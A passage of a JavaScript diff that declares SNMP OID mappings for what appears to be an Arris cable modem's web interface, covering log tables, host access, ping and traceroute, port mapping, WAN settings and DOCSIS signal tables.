arChangeLogInfo=ChangeLogTable.ChangeLogInfo; + +var DebugLogTable = new Table("DebugLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4"); +DebugLogTable.DebugLogIndex = new Column("DebugLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1",2); +DebugLogTable.DebugLogTime = new Column("DebugLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2",4,1); +DebugLogTable.DebugLogInfo = new Column("DebugLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3",4); +var arDebugLogIndex=DebugLogTable.DebugLogIndex; +var arDebugLogTime=DebugLogTable.DebugLogTime; +var arDebugLogInfo=DebugLogTable.DebugLogInfo; + +var DHCPLogTable = new Table("DHCPLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5"); +DHCPLogTable.DHCPLogIndex = new Column("DHCPLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1",2); +DHCPLogTable.DHCPLogTime = new Column("DHCPLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2",4,1); +DHCPLogTable.DHCPLogInfo = new Column("DHCPLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3",4); +var arDHCPLogIndex=DHCPLogTable.DHCPLogIndex; +var arDHCPLogTime=DHCPLogTable.DHCPLogTime; +var arDHCPLogInfo=DHCPLogTable.DHCPLogInfo; + +var LanClientLogTable = new Table("LanClientLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6"); +LanClientLogTable.LanClientLogIndex = new Column("LanClientLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1",2); +LanClientLogTable.LanClientLogTime = new Column("LanClientLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2",4,1); +LanClientLogTable.LanClientLogInfo = new Column("LanClientLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3",4); +var arLanClientLogIndex=LanClientLogTable.LanClientLogIndex; +var arLanClientLogTime=LanClientLogTable.LanClientLogTime; +var arLanClientLogInfo=LanClientLogTable.LanClientLogInfo; + +var MSOLogs = new Container("MSOLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2"); +MSOLogs.ClearMSOLogs= new Scalar("ClearMSOLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2",2); +var arClearMSOLogs=MSOLogs.ClearMSOLogs; + +var MSOChgLogTable = new Table("MSOChgLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1"); +MSOChgLogTable.MSOChgLogIndex = new Column("MSOChgLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1",2); +MSOChgLogTable.MSOChgLogTime = new Column("MSOChgLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2",4,1); +MSOChgLogTable.MSOChgLogInfo = new Column("MSOChgLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3",4); +var arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex; +var arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime; +var arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo; + +var InboundTrafficLogTable = new Table("InboundTrafficLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.42"); +InboundTrafficLogTable.InboundTrafficLogIndex = new Column("InboundTrafficLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1",66); +InboundTrafficLogTable.InboundTrafficLogData = new Column("InboundTrafficLogData","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2",4); +var arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex; +var arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData; + +var HostAccess = new Container("HostAccess", "1.3.6.1.4.1.4115.1.20.1.1.6"); +HostAccess.HostAccessClientSeed= new Scalar("HostAccessClientSeed","1.3.6.1.4.1.4115.1.20.1.1.6.1",4,1); +HostAccess.HostCLITimeout= new Scalar("HostCLITimeout","1.3.6.1.4.1.4115.1.20.1.1.6.2",66); +HostAccess.HostAccessSSHEnable= new Scalar("HostAccessSSHEnable","1.3.6.1.4.1.4115.1.20.1.1.6.3",2); +HostAccess.HostAccessSSHPassword= new Scalar("HostAccessSSHPassword","1.3.6.1.4.1.4115.1.20.1.1.6.4",4); +HostAccess.WebAccessFreeIdx= new Scalar("WebAccessFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.6.5",2); +HostAccess.WebAccessSetting= new Scalar("WebAccessSetting","1.3.6.1.4.1.4115.1.20.1.1.6.6",2); +HostAccess.WebAccessWANACL= new Scalar("WebAccessWANACL","1.3.6.1.4.1.4115.1.20.1.1.6.8",4); +var arHostAccessClientSeed=HostAccess.HostAccessClientSeed; +var arHostCLITimeout=HostAccess.HostCLITimeout; +var arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable; +var arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword; +var arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx; +var arWebAccessSetting=HostAccess.WebAccessSetting; +var arWebAccessWANACL=HostAccess.WebAccessWANACL; + +var WebAccessTable = new Table("WebAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.6.7"); +WebAccessTable.WebAccessIndex = new Column("WebAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1",2); +WebAccessTable.WebAccessPage = new Column("WebAccessPage","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2",4); +WebAccessTable.WebAccessLevel = new Column("WebAccessLevel","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3",2); +WebAccessTable.WebAccessRowStatus = new Column("WebAccessRowStatus","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4",2); +var arWebAccessIndex=WebAccessTable.WebAccessIndex; +var arWebAccessPage=WebAccessTable.WebAccessPage; +var arWebAccessLevel=WebAccessTable.WebAccessLevel; +var arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus; + +var PingMgmt = new Container("PingMgmt", "1.3.6.1.4.1.4115.1.20.1.1.7"); +PingMgmt.PingTargetAddrType= new Scalar("PingTargetAddrType","1.3.6.1.4.1.4115.1.20.1.1.7.1",2); +PingMgmt.PingTargetAddress= new Scalar("PingTargetAddress","1.3.6.1.4.1.4115.1.20.1.1.7.2",4, 1); +PingMgmt.PingNumPkts= new Scalar("PingNumPkts","1.3.6.1.4.1.4115.1.20.1.1.7.3",66); +PingMgmt.PingPktSize= new Scalar("PingPktSize","1.3.6.1.4.1.4115.1.20.1.1.7.4",66); +PingMgmt.PingInterval= new Scalar("PingInterval","1.3.6.1.4.1.4115.1.20.1.1.7.5",66); +PingMgmt.PingTimeout= new Scalar("PingTimeout","1.3.6.1.4.1.4115.1.20.1.1.7.6",2); +PingMgmt.PingVerifyReply= new Scalar("PingVerifyReply","1.3.6.1.4.1.4115.1.20.1.1.7.7",2); +PingMgmt.PingIpStackNumber= new Scalar("PingIpStackNumber","1.3.6.1.4.1.4115.1.20.1.1.7.8",2); +PingMgmt.PingStartStop= new Scalar("PingStartStop","1.3.6.1.4.1.4115.1.20.1.1.7.9",2); +PingMgmt.PingPktsSent= new Scalar("PingPktsSent","1.3.6.1.4.1.4115.1.20.1.1.7.10",65); +PingMgmt.PingRepliesReceived= new Scalar("PingRepliesReceived","1.3.6.1.4.1.4115.1.20.1.1.7.11",65); +PingMgmt.PingRepliesVerified= new Scalar("PingRepliesVerified","1.3.6.1.4.1.4115.1.20.1.1.7.12",65); +PingMgmt.PingOctetsSent= new Scalar("PingOctetsSent","1.3.6.1.4.1.4115.1.20.1.1.7.13",65); +PingMgmt.PingOctetsReceived= new Scalar("PingOctetsReceived","1.3.6.1.4.1.4115.1.20.1.1.7.14",65); +PingMgmt.PingIcmpErrors= new Scalar("PingIcmpErrors","1.3.6.1.4.1.4115.1.20.1.1.7.15",65); +PingMgmt.PingLastIcmpError= new Scalar("PingLastIcmpError","1.3.6.1.4.1.4115.1.20.1.1.7.16",66); +var arPingTargetAddrType=PingMgmt.PingTargetAddrType; +var arPingTargetAddress=PingMgmt.PingTargetAddress; +var arPingNumPkts=PingMgmt.PingNumPkts; +var arPingPktSize=PingMgmt.PingPktSize; +var arPingInterval=PingMgmt.PingInterval; +var arPingTimeout=PingMgmt.PingTimeout; +var arPingVerifyReply=PingMgmt.PingVerifyReply; +var arPingIpStackNumber=PingMgmt.PingIpStackNumber; +var arPingStartStop=PingMgmt.PingStartStop; +var arPingPktsSent=PingMgmt.PingPktsSent; +var arPingRepliesReceived=PingMgmt.PingRepliesReceived; +var arPingRepliesVerified=PingMgmt.PingRepliesVerified; +var arPingOctetsSent=PingMgmt.PingOctetsSent; +var arPingOctetsReceived=PingMgmt.PingOctetsReceived; +var arPingIcmpErrors=PingMgmt.PingIcmpErrors; +var arPingLastIcmpError=PingMgmt.PingLastIcmpError; + +var TraceRtMgmt = new Container("TraceRtMgmt", "1.3.6.1.4.1.4115.1.20.1.1.8"); +TraceRtMgmt.TraceRtTargAddrType= new Scalar("TraceRtTargAddrType","1.3.6.1.4.1.4115.1.20.1.1.8.1",2); +TraceRtMgmt.TraceRtTargetAddr= new Scalar("TraceRtTargetAddr","1.3.6.1.4.1.4115.1.20.1.1.8.2",4, 1); +TraceRtMgmt.TraceRtMaxHops= new Scalar("TraceRtMaxHops","1.3.6.1.4.1.4115.1.20.1.1.8.3",2); +TraceRtMgmt.TraceRtDataSize= new Scalar("TraceRtDataSize","1.3.6.1.4.1.4115.1.20.1.1.8.4",2); +TraceRtMgmt.TraceRtResolveHosts= new Scalar("TraceRtResolveHosts","1.3.6.1.4.1.4115.1.20.1.1.8.5",2); +TraceRtMgmt.TraceRtBasePort= new Scalar("TraceRtBasePort","1.3.6.1.4.1.4115.1.20.1.1.8.6",2); +TraceRtMgmt.TraceRtStart= new Scalar("TraceRtStart","1.3.6.1.4.1.4115.1.20.1.1.8.7",2); +TraceRtMgmt.TraceRtLog= new Scalar("TraceRtLog","1.3.6.1.4.1.4115.1.20.1.1.8.8",4); +var arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType; +var arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr; +var arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops; +var arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize; +var arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts; +var arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort; +var arTraceRtStart=TraceRtMgmt.TraceRtStart; +var arTraceRtLog=TraceRtMgmt.TraceRtLog; + +var ICtrl = new Container("ICtrl", "1.3.6.1.4.1.4115.1.20.1.1.10"); +ICtrl.ICtrlPortMapCount= new Scalar("ICtrlPortMapCount","1.3.6.1.4.1.4115.1.20.1.1.10.1",2); +var arICtrlPortMapCount=ICtrl.ICtrlPortMapCount; + +var ICtrlPortMapTable = new Table("ICtrlPortMapTable", "1.3.6.1.4.1.4115.1.20.1.1.10.2"); +ICtrlPortMapTable.ICtrlPortMapIndex = new Column("ICtrlPortMapIndex","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1",2); +ICtrlPortMapTable.PortMapDescription = new Column("PortMapDescription","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2",4); +ICtrlPortMapTable.PortMapInternalClientAddrType = new Column("PortMapInternalClientAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3",2); +ICtrlPortMapTable.PortMapInternalClientAddr = new Column("PortMapInternalClientAddr","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4",4,1); +ICtrlPortMapTable.PortMapProtocol = new Column("PortMapProtocol","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5",2); +ICtrlPortMapTable.PortMapExternalPort = new Column("PortMapExternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6",66); +ICtrlPortMapTable.PortMapInternalPort = new Column("PortMapInternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7",66); +ICtrlPortMapTable.PortMapRowStatus = new Column("PortMapRowStatus","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8",2); +// scm add x 4 +ICtrlPortMapTable.PortMapInternalStartPort= new Column("PortMapInternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9",66); +ICtrlPortMapTable.PortMapInternalEndPort= new Column("PortMapInternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10",66); +ICtrlPortMapTable.PortMapExternalStartPort = new Column("PortMapExternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11",66); +ICtrlPortMapTable.PortMapExternalEndPort= new Column("PortMapExternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12",66); + +var arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex; +var arPortMapDescription=ICtrlPortMapTable.PortMapDescription; +var arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType; +var arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr; +var arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol; +var arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort; +var arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort; +var arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus; +var arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort; +var arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort; +var arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort; +var arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort; + + + +var ICtrlGetDeviceSettings = new Container("ICtrlGetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.3"); +ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar("ICtrlDeviceSettingsFWversion","1.3.6.1.4.1.4115.1.20.1.1.10.3.1",4); +var arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion; + +var ICtrlIsDeviceReady = new Container("ICtrlIsDeviceReady", "1.3.6.1.4.1.4115.1.20.1.1.10.4"); +ICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar("ICtrlDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.10.4.1",2); +var arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus; + +var ICtrlReboot = new Container("ICtrlReboot", "1.3.6.1.4.1.4115.1.20.1.1.10.5"); +ICtrlReboot.ICtrlInitiateReboot= new Scalar("ICtrlInitiateReboot","1.3.6.1.4.1.4115.1.20.1.1.10.5.1",2); +var arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot; + +var ICtrlSetDeviceSettings = new Container("ICtrlSetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.6"); +ICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar("ICtrlSetDeviceName","1.3.6.1.4.1.4115.1.20.1.1.10.6.1",4); +ICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar("ICtrlSetAdminPassword","1.3.6.1.4.1.4115.1.20.1.1.10.6.2",4); +var arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName; +var arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword; + +var ICtrlRouterSettings = new Container("ICtrlRouterSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.7"); +ICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar("ICtrlRouterManageRemote","1.3.6.1.4.1.4115.1.20.1.1.10.7.1",2); +ICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar("ICtrlRouterRemotePort","1.3.6.1.4.1.4115.1.20.1.1.10.7.2",66); +ICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar("ICtrlRouterRemoteSSL","1.3.6.1.4.1.4115.1.20.1.1.10.7.3",2); +var arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote; +var arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort; +var arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL; + +var ICtrlWLanRadioSettings = new Container("ICtrlWLanRadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.8"); +ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar("ICtrlWLanRadioMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.8.1",4,1); +ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar("ICtrlWLanRadioChannelWidth","1.3.6.1.4.1.4115.1.20.1.1.10.8.2",66); +var arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress; +var arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth; + +var ICtrlSetBridgeConnect = new Container("ICtrlSetBridgeConnect", "1.3.6.1.4.1.4115.1.20.1.1.10.9"); +ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar("ICtrlSetBridgeEthernetPort","1.3.6.1.4.1.4115.1.20.1.1.10.9.1",66); +ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar("ICtrlSetBridgeMinutes","1.3.6.1.4.1.4115.1.20.1.1.10.9.2",66); +ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar("ICtrlSetBridgePermanentPort4Enable","1.3.6.1.4.1.4115.1.20.1.1.10.9.3",2); +var arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort; +var arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes; +var arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable; + +var ICtrlGetWanSettings = new Container("ICtrlGetWanSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.10"); +ICtrlGetWanSettings.ICtrlGetWanType= new Scalar("ICtrlGetWanType","1.3.6.1.4.1.4115.1.20.1.1.10.10.2",4); +ICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar("ICtrlGetWanMTU","1.3.6.1.4.1.4115.1.20.1.1.10.10.3",66); +ICtrlGetWanSettings.ICtrlGetWanPrefixLen= new Scalar("ICtrlGetWanPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.10.10.4",66); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar("ICtrlGetWanGatewayAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.5",2); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar("ICtrlGetWanGatewayAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.6",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar("ICtrlGetWanDNSPrimaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.7",2); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar("ICtrlGetWanDNSPrimaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.8",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar("ICtrlGetWanDNSSecondaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.9",2); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar("ICtrlGetWanDNSSecondaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.10",4,1); +ICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar("ICtrlGetWanMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.10.11",4,1); +var arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType; +var arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU; +var arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen; +var arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType; +var arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr; +var arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType; +var arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr; +var arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType; +var arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr; +var arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress; + +ICtrl.ICtrlPortMapTableEnabled= new Scalar("ICtrlPortMapTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.10.14",2); +var arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled; + +var mib2system = new Container("mib2system", "1.3.6.1.2.1.1"); +mib2system.sysName= new Scalar("mib2sysname","1.3.6.1.2.1.1.5",4); +mib2system.sysDescr= new Scalar("mib2sysdescr","1.3.6.1.2.1.1.1",4); +mib2system.sysTime= new Scalar("mib2systime","1.3.6.1.2.1.1.3",0x43); +mib2system.sysContact= new Scalar("mib2syscontact","1.3.6.1.2.1.1.4",4); + +var docsdevBase = new Container("docsdevBase", "1.3.6.1.2.1.69.1.1"); +docsdevBase.DateTime = new Scalar("DateTime","1.3.6.1.2.1.69.1.1.2",4,1); +docsdevBase.ResetNow = new Scalar("ResetNow","1.3.6.1.2.1.69.1.1.3",2); +docsdevBase.SerialNumber = new Scalar("SerialNumber","1.3.6.1.2.1.69.1.1.4",4); + +var docsDevSoftware = new Container("docsDevSoftware", "1.3.6.1.2.1.69.1.3"); +docsDevSoftware.CurrentVers = new Scalar("CurrentVers", "1.3.6.1.2.1.69.1.3.5",4); + +var mib2interface = new Container("mib2interface", "1.3.6.1.2.1.2"); +mib2interface.ifNumber= new Scalar("mib2interfaceNumber","1.3.6.1.2.1.2.1",2); +var mib2iftable = new Table("mib2iftable", "1.3.6.1.2.1.2.2"); +mib2iftable.ifIndex = new Column("ifIndex","1.3.6.1.2.1.2.2.1.1",2); +mib2iftable.ifDescr = new Column("ifDescr","1.3.6.1.2.1.2.2.1.2",4); +mib2iftable.ifType = new Column("ifType","1.3.6.1.2.1.2.2.1.3",2); +mib2iftable.ifMtu = new Column("ifMtu","1.3.6.1.2.1.2.2.1.4",2); +mib2iftable.ifSpeed = new Column("ifSpeed", "1.3.6.1.2.1.2.2.1.5",0x42); +mib2iftable.ifPhyAddress = new Column("ifPhyAddress","1.3.6.1.2.1.2.2.1.6",4,1); +mib2iftable.ifOperStatus = new Column("ifOperStatus","1.3.6.1.2.1.2.2.1.8",2); +// scm start +mib2iftable.ifUpTime = new Column("ifUpTime", "1.3.6.1.2.1.2.2.1.9",4,1); +// scm end + +var arrisCmDoc30Software = new Container("arrisCmDoc30Software", "1.3.6.1.4.1.4115.1.3.4.1.5"); +arrisCmDoc30Software.RegistrationState = new Scalar("arrisCmDoc30SwRegistrationState","1.3.6.1.4.1.4115.1.3.4.1.5.9",2); +var arrisCmDoc30DhcpSvrParameters = new Container("arrisCmDoc30DhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.2"); +arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar("arrisCmDoc30DhcpTimeSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.4",4,1); +arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar("arrisCmDoc30DhcpPrimaryDhcpServerIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.2",4,1); +arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar("arrisCmDoc30DhcpTftpSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.3",4,1); +arrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar("arrisCmDoc30DhcpCmTimeOffset","1.3.6.1.4.1.4115.1.3.4.1.4.2.5",2); +arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpPrimaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.6",4,1); +arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpSecondaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.7",4,1); +var arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr; +var arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr; +var arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr; +var arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset; +var arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr; +var arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr; + + +var arrisCmDoc30DhcpCmParameters = new Container("arrisCmDoc30DhcpCmParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.3"); +arrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar("arrisCmDoc30DhcpCmIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.2",4,1); +arrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar("arrisCmDoc30DhcpCmSubNetMask","1.3.6.1.4.1.4115.1.3.4.1.4.3.3",4,1); +arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar("arrisCmDoc30DhcpCmGatewayIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.4",4,1); +arrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar("arrisCmDoc30DhcpCmConfigFile","1.3.6.1.4.1.4115.1.3.4.1.4.3.5",4); +var arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr; +var arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask; +var arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr; +var arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile; + +var arrisCmDoc30Setup = new Container("arrisCmDoc30Setup", "1.3.6.1.4.1.4115.1.3.4.1.3"); +arrisCmDoc30Setup.MddIpModeOverride = new Scalar("arrisCmDoc30SetupMddIpModeOverride","1.3.6.1.4.1.4115.1.3.4.1.3.7",2); +var arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride; + +var arrisCmDoc30Base = new Container("arrisCmDoc30Base", "1.3.6.1.4.1.4115.1.3.4.1.1"); +arrisCmDoc30Base.TodStatus = new Scalar("arrisCmDoc30BaseTodStatus","1.3.6.1.4.1.4115.1.3.4.1.1.14",2); +var arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus; + +var docsIfDownstreamChannelTable = new Table("docsIfDownstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.1"); +docsIfDownstreamChannelTable.Frequency = new Column("docsIfDownChannelFrequency","1.3.6.1.2.1.10.127.1.1.1.1.2",2); +docsIfDownstreamChannelTable.Power = new Column("docsIfDownChannelPower","1.3.6.1.2.1.10.127.1.1.1.1.6",2); +docsIfDownstreamChannelTable.Modulation = new Column("docsIfDownChannelModulation","1.3.6.1.2.1.10.127.1.1.1.1.4",2); + +var docsIfSignalQualityTable = new Table("docsIfSignalQualityTable", "1.3.6.1.2.1.10.127.1.1.4"); +docsIfSignalQualityTable.SignalNoise = new Column("docsIfSigQSignalNoise","1.3.6.1.2.1.10.127.1.1.4.1.5",2); +docsIfSignalQualityTable.Unerroreds = new Column("docsIfSigQUnerroreds","1.3.6.1.2.1.10.127.1.1.4.1.2",0x41); +docsIfSignalQualityTable.Correcteds = new Column("docsIfSigQCorrecteds","1.3.6.1.2.1.10.127.1.1.4.1.3",0x41); +docsIfSignalQualityTable.Uncorrectables = new Column("docsIfSigQUncorrectables","1.3.6.1.2.1.10.127.1.1.4.1.4",0x41); + +var docsIfUpstreamChannelTable = new Table("docsIfUpstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.2"); +docsIfUpstreamChannelTable.ChannelId = new Column("docsIfUpChannelId","1.3.6.1.2.1.10.127.1.1.2.1.1",2); +docsIfUpstreamChannelTable.Frequency = new Column("docsIfUpChannelFrequency","1.3.6.1.2.1.10.127.1.1.2.1.2",2); +docsIfUpstreamChannelTable.Status = new Column("docsIfUpChannelStatus","1.3.6.1.2.1.10.127.1.1.2.1.18",2); + +var arrisCmDoc30IfUpstreamChannelExtendedTable = new Table("arrisCmDoc30IfUpstreamChannelExtendedTable", "1.3.6.1.4.1.4115.1.3.4.1.9.2"); +arrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column("arrisCmDoc30IfUpChannelExtendedSymbolRate","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2",2); +/* kSym/s */ +arrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column("arrisCmDoc30IfUpChannelExtendedModulation","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3",2); +/* 1: qpsk(1) 2: qam8(2) 3: qam16(3) 4: qam32(4) 5: qam64(5) 6: qam128(6) 7: qam256(7) 8: err(-1) */ + +var docsIf3CmStatusUsTable = new 